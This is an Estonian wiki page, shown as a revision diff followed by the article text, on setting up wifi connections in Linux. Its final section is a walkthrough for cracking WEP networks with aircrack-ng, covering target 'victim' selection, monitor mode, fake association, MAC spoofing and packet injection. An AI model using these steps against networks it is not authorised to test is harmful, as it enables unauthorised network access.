Linux ja wifi: Difference between revisions
mNo edit summary |
|||
Line 3: | Line 3: | ||
'''ARTIKKEL ON HETKEL POOLELI!!''' st. et ärge lõpust midagi otsige :D | '''ARTIKKEL ON HETKEL POOLELI!!''' st. et ärge lõpust midagi otsige :D | ||
Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise Linuxis. | Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise ja kasutamise Linuxis. | ||
Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . | Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . | ||
Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides. | Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides. | ||
Line 57: | Line 57: | ||
'''aircrack-ng''' | '''aircrack-ng''' | ||
= Kasutatavad lühendid = | |||
Et mitte teemat väga kirjuks ja pikaks ajada, kirjutaks lahti mõned edaspidi kasutatavad lühendid: | |||
* AP - i.k. Access-Point. Mingile võrgule (mis ei pea tingimata olema internet) juhtmeta ligipääsu võimaldav seade. Kodustes oludes n. wifi ruuter. | |||
* PSK - i.k. Pre-Shared-Key. Wifi võrgule ligipääsu tagamiseks kasutatav võti, mis on vaja igale kasutajale anda. Turvalisus hea, kuid nõrkadeks kohtadeks ikka rumal kasutaja, kes võib seda edasi jagada või siis lasta oma arvutist varastada. | |||
= Võrgu seadistamine = | = Võrgu seadistamine = | ||
Line 264: | Line 272: | ||
Ülaltoodud näites on 3 wifi võrku: | Ülaltoodud näites on 3 wifi võrku: | ||
'''Cell 01''' ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning | '''Cell 01''' ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning AP MAC aadress on 00:90:D0:F7:23:62. | ||
'''Cell 02''' ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning access-point-i MAC aadress on 00:90:D0:F7:23:62. | '''Cell 02''' ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning access-point-i MAC aadress on 00:90:D0:F7:23:62. | ||
'''Cell 03''' ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning | '''Cell 03''' ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning AP MAC aadress on 00:18:39:21:08:B2. | ||
=== Ühendumine turvamata võrku === | === Ühendumine turvamata võrku === | ||
Line 281: | Line 289: | ||
# sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62 | # sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62 | ||
</pre> | </pre> | ||
Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on | Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on AP mac aadress. | ||
Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress: | Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress: | ||
Line 356: | Line 364: | ||
Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 03''' baasil. | Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 03''' baasil. | ||
Esimese asjana on vaja genereerida wifi | Esimese asjana on vaja genereerida wifi AP paroolist PSK võti ning seejärel tekitada sobiv konfiguratsioonifail. | ||
''wpa_password'' rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis. | ''wpa_password'' rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis. | ||
Line 364: | Line 372: | ||
# wpa_passphrase toru password | # wpa_passphrase toru password | ||
</pre> | </pre> | ||
Antud näites on '''toru''' | Antud näites on '''toru''' AP ESSID ning password on parool. | ||
Käsu väljund on järgmine: | Käsu väljund on järgmine: | ||
Line 398: | Line 406: | ||
'''priority=2''' - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2. | '''priority=2''' - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2. | ||
'''scan_ssid=1''' - kasutada juhul, kui | '''scan_ssid=1''' - kasutada juhul, kui AP ei näita oma nime (ESSID). | ||
Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada: | Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada: | ||
Line 431: | Line 439: | ||
== Võrkude otsimine == | == Võrkude otsimine == | ||
Et sobiv "ohver" leida, ei piisa lihtsalt '''iwlist''' rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka | Et sobiv "ohver" leida, ei piisa lihtsalt '''iwlist''' rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka AP kliente. | ||
Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi: | Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi: | ||
Line 475: | Line 483: | ||
== WEP == | == WEP == | ||
WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus | WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus AP ja kliendi vahel toimub mis teeb võtme leidmise võimalikuks. | ||
Antud juhul siis valime väljundist '''foo''' võrgu, mille ESSID on mõistagi '''foo''', | Antud juhul siis valime väljundist '''foo''' võrgu, mille ESSID on mõistagi '''foo''', AP MAC aadress on '''00:18:39:21:08:B2''', ning mis töötab kanalil '''7''' . | ||
Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil: | Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil: | ||
Line 504: | Line 512: | ||
</pre> | </pre> | ||
Kus '''7''' on kanal, millel '''foo''' võrk töötab. '''00:18:39:21:08:B2''' on | Kus '''7''' on kanal, millel '''foo''' võrk töötab. '''00:18:39:21:08:B2''' on AP MAC. '''foo_dump''' on faili nimi, kuhu IV-d salvestatakse ning '''mon0''' on monitor režiimis olev seade. | ||
=== Sinu wifi seadme MAC aadressi sidumine | === Sinu wifi seadme MAC aadressi sidumine AP-ga === | ||
ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk: | ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk: | ||
Line 513: | Line 521: | ||
</pre> | </pre> | ||
Kus '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on | Kus '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on AP MAC, '''00:18-DE-77-12-B2''' sinu wifi seadme MAC ning '''mon0''' jällegi monitor režiimis olev seade. | ||
Eduka sidumise puhul on väljundiks midagi sellist: | Eduka sidumise puhul on väljundiks midagi sellist: | ||
Line 523: | Line 531: | ||
21:59:28 Association successful :-) (AID: 1) | 21:59:28 Association successful :-) (AID: 1) | ||
Kui sidumine ei õnnestunud, siis ilmselt on | Kui sidumine ei õnnestunud, siis ilmselt on AP-l peal MAC aadresside filtreering - ligipääs lubatud ainult kindlate MAC aadressidega seadmetelt. | ||
Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada | Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta. | ||
=== Alustame pakettide saatmist (package injection) === | === Alustame pakettide saatmist (package injection) === | ||
Line 635: | Line 643: | ||
sudo dhclient $WD | sudo dhclient $WD | ||
</pre> | </pre> | ||
= Puuduvad teemad ehk to do list = | |||
Selle artikli juures võiks pikemalt lahti seletada veel järgmised asjad: | |||
* Madwifi draiveri installeerimine | |||
* wlanconfig utiliit, mis sisaldub madwifi-tools paketis | |||
* kismet utiliidi installeerimine ja kasutamine koos GPS seadmega wifi võrkude kaardistamiseks | |||
* | |||
* | |||
= Juhendist = | = Juhendist = | ||
Juhendi | Juhendi koostasid: | ||
* Argo Ellisson | * Argo Ellisson | ||
* | |||
* | |||
Kasutatud materjalid: | Kasutatud materjalid: |
Revision as of 16:31, 25 April 2010
Üldinformatsioon
ARTIKKEL ON HETKEL POOLELI!! st. et ärge lõpust midagi otsige :D
Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise ja kasutamise Linuxis. Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides.
Oma Debianil põhineva distributsiooni infot näed käsuga:
# cat /etc/lsb-release
Eeldused
Linuxi käsurea elementaarne kasutusoskus on igal juhul abiks.
Töötav wifi seade
Peamine eeldus on see, et sinu arvuti wifi kaart töötab ehk sobivad moodulid on kernelisse laetud. Seda saad kontrollida alloleva käsuga. Kui käsu väljundis on nähtav wifi seade n. wlan0, ath0 vms. siis on sinu arvuti ilmselt võimeline seda ka kasutama.
# ifconfig -a
Nähes väljundis ainult seadmeid lo,pan0,eth0,eth1 vms. seadmeid pead oma wifi kaardile sobiva mooduli installeerima. Selleks tuvasta kõigepealt oma kaardi tootja ning mudel kasutades käske lspci (sisseehitatud seadmed PCI siinil), lsusb (USB pesas olevad seadmed) või lspcmcia (PCMCIA pessa käivad seadmed). Edasi mine ja googelda n. "<seadme nimi ja mudel> linux wifi", sest riistvara seadistamine ei ole selle artikli eesmärk.
olulised paketid
Järgnevad paketid peaksid olema installeeritud, et kasutada selles artiklis kirjeldatud trikke:
- wpasupplicant - ilma selleta ei saa ühenduda WPA/WPA2 protokolliga turvatud võrkudega. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
- wireless-tools - sisaldab vajalikke käsurea-rakendusi iwlist,iwconfig jne. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
- aircrack-ng - pakett sisaldab abiks rakendusi wifi võrkude otsimiseks ja turvalisuse murdmiseks. Saadaval ametlikes repositooriumides.
Kui midagi puudu, siis installeerimiseks kasuta järgmist käsku (paketinimi muuda vajadusel ise ära):
# sudo apt-get install aircrack-ng
Kasutatavad tööriistad
iwlist - wifi võrkude otsimine. Kasutamisnäide siin.
iwconfig - wifi seadme konfigureerimine. Kasutamisnäited: turvamata võrguga ühendumine, WEP protokolliga turvatud võrku ühendumine
wpa_password - paroolist PSK võtme genereerimine. Kasutamisnäide siin.
wpa_supplicant
airmon-ng
airodump-ng
aireplay-ng
aircrack-ng
Kasutatavad lühendid
Et mitte teemat väga kirjuks ja pikaks ajada, kirjutaks lahti mõned edaspidi kasutatavad lühendid:
- AP - i.k. Access-Point. Mingile võrgule (mis ei pea tingimata olema internet) juhtmeta ligipääsu võimaldav seade. Kodustes oludes n. wifi ruuter.
- PSK - i.k. Pre-Shared-Key. Wifi võrgule ligipääsu tagamiseks kasutatav võti, mis on vaja igale kasutajale anda. Turvalisus hea, kuid nõrkadeks kohtadeks ikka rumal kasutaja, kes võib seda edasi jagada või siis lasta oma arvutist varastada.
Võrgu seadistamine
Seadistada on võimalik kaht moodi - kasutades võrguhaldurit (Network Manager), mis omab ka graafilist kasutajaliidest või siis käsurealt.
Seadistamine 1: Võrguhalduriga
Võrguhaldur koosneb kahest osast, võrguhalduri teenus ning graafiline kasutajaliides ehk applet. Kui üks neist ei tööta, siis on asjast õige vähe kasu. Ära tuleb märkida ka see, et kuigi teenus on sama, on graafilised kasutajaliidesed erinevatel töölaudadel erinevad (KDE,GNOME). Lisainfot võrguhalduri kohta leiad wikipeediast: http://en.wikipedia.org/wiki/NetworkManager
Võrguhalduri teenus
Teenus on vaikimisi kaasas Ubuntu/Estobuntuga ning käivitatakse alglaadimisel automaatselt, kui sul on selle osas kahtlusi, siis saad teenuse olemasolu ja staatuse kindlaks teha järgneva käsuga:
# service network-manager status
Installeerimine
Kui millegipärast sul teenust ei ole, siis installeerimiseks käivita käsurealt järgnev käsk või otsi network-manageri pakett üles mõnest graafilisest paketihaldurist ja installi sealt:
# sudo apt-get install network-manager
Seadistamine
Ainuke vajaminev seadistus on see, et /etc/network/interfaces failis ei tohi olla kirjeldatud ühtegi võrguseadet, mille manageerimisega võrguhaldur peaks tegelema. Kui soovid, et võrguhaldur tegeleks kõigi olemasolevate võrguseadmetega, siis hoolitse selle eest, et /etc/network/interfaces failis oleks ainult järgnevad read:
auto lo iface lo inet loopback
kui eemaldasid mõne seadme /etc/network/interfaces failist, siis ära unusta võrguhaldurit restartida:
# service network-manager restart
Võrguhalduri graafiline kasutajaliides e. applet
Applet on üldjuhul kättesaadav töölaua paneelil asuvast süsteemsest dokist, sealt kus asuvad ka teised olulised appletid nagu helitugevuse ja lõikelaua puhvri manageerijad, kui on seadistatud siis ka klaviatuuri asetuste valik. Kui sa sealt dokist ühtegi võrguga tegeleda soovivat rakendust ei leia, siis seda ei kuvata (näiteks automaatne peitmine on aktiivne) või on see kuidagi töölauaseadistuste muutmise käigus kaotsi läinud.
Esimesel juhul vaata üle doki seaded - tee doki peal parem klikk ning avanevast menüüst kliki valiku peal, mis kõige enam meenutab seadeid. Seejärel kontrolli seadetest üle, et ega võrguhalduse appletti automaatselt ei peideta. Teisel juhul peaksid appleti käsitsi käivitama.
Käsitsi saad network manageri appleti käivitada vajutades ALT+F2 ning toksides avanevasse dialoogi:
KDE töölaua puhul:
# knetworkmanager
GNOME töölaua puhul:
# nm-applet
Installeerimine
Kui millegipärast sul ei ole võrguhalduri applet installeeritud, siis saad seda teha nii:
KDE töölaua puhul:
# sudo apt-get install plasma-widget-networkmanagement
GNOME töölaua puhul:
# sudo apt-get install network-manager-gnome
Ühenduse loomine võrguhalduriga
Turvamata võrku ühendumine on imelihtne - kliki võrguhalduri ikoonil, vali "ühenda teise võrku" ning vali soovitav wifi võrk välja.
WEP/WPA/WPA2 protokollidega turvatud võrku ühendumise puhul avatakse peale võrguhalduris soovitud võrgu valikut dialoogiaken, kus saad seadistada parameetreid nagu protokollide tüübid, võtmed jne. Jama tekib siis, kui sa ei tea, mida ja kuidas seadistada. Detailid saad teada n. vaadates oma wifi ruuteri seadistust või siis kasutades mõnda vahvat käsurea rakendust, et näha wifi võrkude detailset infot (vt. Wifi võrkude otsimine iwlist rakendusega).
Ad-hoc võrgu ehk kahe arvuti vahelise wifi võrgu tekitamiseks on võrguhalduri võrkude nimekirjas ka valik "New Ad-Hoc Network...". Seadistamisest pikemalt siis, kui olen välja selgitanud miks sellel valikul klikkides midagi ei toimu.
Seadistamine 2: Käsurealt
Selles osas vähe näpunäiteid, kuidas wifi ühendust käsurealt käima saada. Kuna paljud käsud eeldavad juurkasutaja õigustes käivitamist, siis on soovitav olla ettevaatlik, kuna opsüsteemi untsukeeramine on juurkasutaja õigustes imelihtne.
Esimese asjana tuleb peatada network-manager teenus, kuna vastasel juhul ei saa käsitsi wifi seadet seadistada!
Seda saab teha järgneva käsuga:
# service network-manager stop
Wifi seadme kindlakstegemine
Kuna igasugusteks edasisteks tegevusteks on vaja kindlaks teha wifi seadme nimi, siis allpool väike näide ifconfig käsu kasutusest:
# ifconfig -a
Käsu väljundist otsi wifi-võrguseadmeid, mille nimed on tavaliselt wlan0,ath0 või wifi0. Tuvasta õige seade ning kasuta seda järgnevates peatükkides.
Wifi seade peab olema sisselülitatud olekus ehk ifconfig <võrguseadme nimi> käsu väljundis peab olema näha, et seadme olek on UP.
Näide:
wlan0 Link encap:Ethernet HWaddr 00:18:de:77:12:b2 UP BROADCAST MULTICAST MTU:1500 meetrika:1 RX pakette:0 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0 TX pakette:0 vigu:0 ära visatud:0 ületäit:0 carrier:0 kollisioone:0 txqueuelen:1000 RX baite:0 (0.0 B) TX baite:0 (0.0 B)
Kui seade on väljalülitatud, siis sisse saab selle lülitada järgneva käsuga:
# sudo ifconfig wlan0 up
Skriptides on soovitatav alati enne võrgu seadistamist ülaltoodud käsuga võrguseade üles tuua.
Autori poolt toodud näidetes on edaspidi wifi seadme nimi wlan0 !
Wifi võrkude otsimine
!! Veendu, et võrguseadme olek oleks UP
Nähtavate wifi-võrkude kuvamiseks käivita järgnev käsk:
# sudo iwlist wlan0 scanning
Käsu väljundis on detailid kõikide nähtavate wifi võrkude kohta, eri võrgud on nimetatud "Cell 01", "Cell 02" jne. Olulisemad detailid väljundis on rasvases kirjas.
Näide:
wlan0 Scan completed : Cell 01 - Address: 00:18:39:21:08:B2 Channel:7 Frequency:2.442 GHz (Channel 7) Quality=35/70 Signal level=-75 dBm Encryption key:off ESSID:"foo" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000000000251c180 Extra: Last beacon: 2388ms ago IE: Unknown: 000670656C64696B IE: Unknown: 010882848B960C121824 IE: Unknown: 030107 IE: Unknown: 07064E4120010D14 IE: Unknown: 200100 IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C334E1003FFFF000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F Cell 02 - Address: 00:90:D0:F7:23:62 Channel:11 Frequency:2.462 GHz (Channel 11) Quality=23/70 Signal level=-87 dBm Encryption key:on ESSID:"kala" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s Mode:Master Extra:tsf=0000096caeb44184 Extra: Last beacon: 3428ms ago IE: Unknown: 00105370656564546F756368364431383446 IE: Unknown: 010882848B962430486C IE: Unknown: 03010B IE: Unknown: 2A0100 IE: Unknown: 2F0100 IE: Unknown: 32040C121860 IE: Unknown: DD060010180200F0 IE: Unknown: DD180050F2020101880003A4000027A4000042435E0062322F00 Cell 03 - Address: 00:18:39:21:08:B2 Channel:7 Frequency:2.442 GHz (Channel 7) Quality=70/70 Signal level=-34 dBm Encryption key:on ESSID:"toru" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000001a78bbc0180 Extra: Last beacon: 568ms ago IE: Unknown: 000670656C64696B IE: Unknown: 010882848B960C121824 IE: Unknown: 030107 IE: Unknown: 07064E4120010D14 IE: Unknown: 200100 IE: IEEE 802.11i/WPA2 Version 1 Group Cipher : CCMP Pairwise Ciphers (1) : CCMP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C334E10030000000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F
Ülaltoodud näites on 3 wifi võrku:
Cell 01 ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning AP MAC aadress on 00:90:D0:F7:23:62.
Cell 02 ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning access-point-i MAC aadress on 00:90:D0:F7:23:62.
Cell 03 ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning AP MAC aadress on 00:18:39:21:08:B2.
Ühendumine turvamata võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 01 baasil.
# sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62
Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on AP mac aadress.
Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ühendumine WEP protokolliga turvatud võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 02 baasil. Seadistada saab nii wpa_supplicant kui ka iwconfig rakendusega. Vali ise omale sobiv. Arvesta ka sellega, et WEP protokoll toetab kaht krüpteeringut: 64bit ja 128bit. Esimene koosneb 40 bitisest võtmest (10 kuueteistkümnendsüsteemi numbrit), millele lisatakse 24 bitine IV (Initialization Vector). Teine koosneb 104 bitisest võtmest ning samuti 24 bitisest IV-st.
Näide: 40 ja 104 bitised võtmed:
02DEDED6F6 384ABBB4AD34F81ED84F3AE189
wpa_supplicant rakendusega seadistamine
Salvesta järgnev konfiguratsioon eraldi faili, antud juhul foo.wep.
network={ ssid="foo" key_mgmt=NONE wep_key0=384ABBB4AD34F81ED84F3AE189 }
Konfiguratsioonifailis on määratud ssid (võrgu nimi) ning wep_key0 on parooli järgi genereeritud võti (kuueteistkümnendsüsteemi number), mille leiad oma wifi seadme kasutajaliidesest. Konfiguratsioonifailis ei ole vaja määrata kas tegu 40 või 104 bitise võtmega.
Seejärel seadista wifi seade:
# sudo wpa_supplicant -B -Dwext -iwlan0 -cfoo.wep
Antud näites on wext linuxi driveri nimi, wlan0 wifi seade ning foo.wep konfiguratsioonifail. Parameeter -B paneb wpa_supplicant rakenduse käima taustal, ehk IP aadressi saamiseks pole vaja avada uut terminaliakent.
Küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Kui IP aadressi said, siis peaks ühendus vähemalt AP-ni toimima.
iwconfig rakendusega seadistamine
# sudo iwconfig wlan0 mode managed essid foo channel auto key 384ABBB4AD34F81ED84F3AE189
Veendumaks, et seadistus on õige, kuva aktiivne seadistus järgneva käsuga:
# iwconfig wlan0
Kui nähtav seadistus erineb sellest, mille sa sisestasid, siis on võimalik, et network-manager teenus on seda modifitseerinud. Nimetatud teenuse peab välja lülitama.
Kui seadistus õige, siis küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ühendumine WPA/WPA2 protokolliga turvatud võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 03 baasil.
Esimese asjana on vaja genereerida wifi AP paroolist PSK võti ning seejärel tekitada sobiv konfiguratsioonifail. wpa_password rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis.
Kasutamine:
# wpa_passphrase toru password
Antud näites on toru AP ESSID ning password on parool.
Käsu väljund on järgmine:
network={ ssid="toru" #psk="password" psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2 }
Salvesta see väljund eraldi faili näiteks toru.wpa2 ning täienda järgnevalt:
network={ ssid="toru" #psk="password" psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2 key_mgmt=WPA-PSK proto=WPA2 }
Parameetrite tähendus:
key_mgmt - lubatud võtmete manageerimisrotokollid.
proto - kasutatav turvaprotokoll n. WPA, WPA2.
Vastavalt vajadusele võib kasutada veel ka järgmisi parameetreid:
priority=2 - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2.
scan_ssid=1 - kasutada juhul, kui AP ei näita oma nime (ESSID).
Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada:
# sudo wpa_supplicant -Dwext -iwlan0 -c toru.wpa2
Seejärel küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ainuke erinevus WPA ja WPA2 võrku ühendumisel on määratud turvaprotokoll konfiguratsioonifailis (proto=WPA või proto=WPA2).
Ad-Hoc võrgu seadistamine
Saab tehtud, kui leian teise wifi seadmega arvuti.
WEP/WPA/WPA2 turvaprotokollide murdmine
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
!! Veendu, et aircrack-ng pakett oleks installeeritud
Et turvatud võrkudele ligi pääseda, peab nende võtme kuidagi välja nuputama. WEP protokoll on piisavalt ebaturvaline, et võti teatud vahenditega kätte saada, ilma sõnastikupõhist rünnet kasutamata. Samas on selle eelduseks see, et keegi edukalt autentinud (ehk õiget võtit omav) tegelane parasjagu võrku kasutab.
WPA/WPA2 puhul on mõistlikud ainult sõnastikupõhised ründed.
Võrkude otsimine
Et sobiv "ohver" leida, ei piisa lihtsalt iwlist rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka AP kliente.
Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi:
# sudo airmon-ng start wlan0
Selle käsu peale tekitatakse uus, nö. monitor seade, vaikimisi mon0 (nimi käsu väljundist leitav n. "monitor mode enabled on mon0"). Tähelepanu! Kõik wifi seadmed ei toeta monitor režiimi.
Seejärel paneme käima skänneri eelpool tekitatud seadmele:
# sudo airodump-ng mon0
Skänneri väljund on näiteks järgmine:
CH 10 ][ Elapsed: 2 mins ][ 2010-04-22 21:11 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:18:39:21:08:B2 -41 122 92 0 7 54e. WEP WEP foo 00:90:D0:F7:23:62 -80 608 11 0 11 54e WEP WEP SpeedTouch6D184F 00:0D:0B:87:78:6F -86 224 0 0 7 54 WPA CCMP PSK elektrikaar 2 00:16:01:A1:EE:BD -86 126 3 0 1 54e OPN 001601A1EEBD 00:21:91:2F:75:37 -87 157 0 0 6 54 . WEP WEP STV-AERO667 00:90:D0:F3:9B:7A -1 0 1 0 108 -1 WEP WEP <length: 0> 00:17:9A:D3:2F:38 -92 2 11 0 13 54e. OPN <length: 5> 00:16:B6:D9:76:8C -91 4 0 0 11 54 WPA TKIP PSK kolja BSSID STATION PWR Rate Lost Packets Probes 00:18:39:21:08:B2 00:18:DE:77:12:B2 0 1e- 1e 0 149 foo 00:16:01:A1:EE:BD 00:16:EA:70:26:06 -1 1e- 0 0 1 00:90:D0:F3:9B:7A 00:1C:10:6C:EA:15 -81 0 - 1 0 8 (not associated) 00:22:FA:09:FC:48 -88 0 - 1 0 3 TRENDnet
Antud näite puhul on väljundis näha juba eelnevatest peatükkidest tuttav WEP protokolliga turvatud võrk foo. Väljundis on olulisemad detailid rasvaselt tähistatud. Näha on ka see, et nagu tellitult on sellega edukalt seotud ka üks arvuti, mille MAC aadress on 00:18:DE:77:12:B2. Kui sobiv märklaud leitud, siis katkesta skänneri töö (CTRL+C), sest skänneri töö ajal muudetakse wifi seadme kanalit mitu korda sekundis, mis välistab igasugu edasised tegevused "ohvri" kanalil.
WEP
WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus AP ja kliendi vahel toimub mis teeb võtme leidmise võimalikuks.
Antud juhul siis valime väljundist foo võrgu, mille ESSID on mõistagi foo, AP MAC aadress on 00:18:39:21:08:B2, ning mis töötab kanalil 7 .
Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil:
# ifconfig wlan0
Allolevas käsu väljundis on wifi seadme MAC aadress märgitud rasvases kirjas:
wlan0 Link encap:Ethernet HWaddr 00:18:de:77:12:b2 inet aadress:192.168.1.100 bcast:192.168.1.255 mask:255.255.255.0 inet6 aadr: fe80::218:deff:fe77:12b2/64 skoop:ühendus UP BROADCAST RUNNING MULTICAST MTU:1500 meetrika:1 RX pakette:6281 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0 TX pakette:5056 vigu:0 ära visatud:0 ületäit:0 carrier:0 kollisioone:0 txqueuelen:1000 RX baite:6681822 (6.6 MB) TX baite:632586 (632.5 KB)
Initsialiseerimisvektorite (IV) kogumine
Kasutame airodump-ng rakendust järgneval viisil:
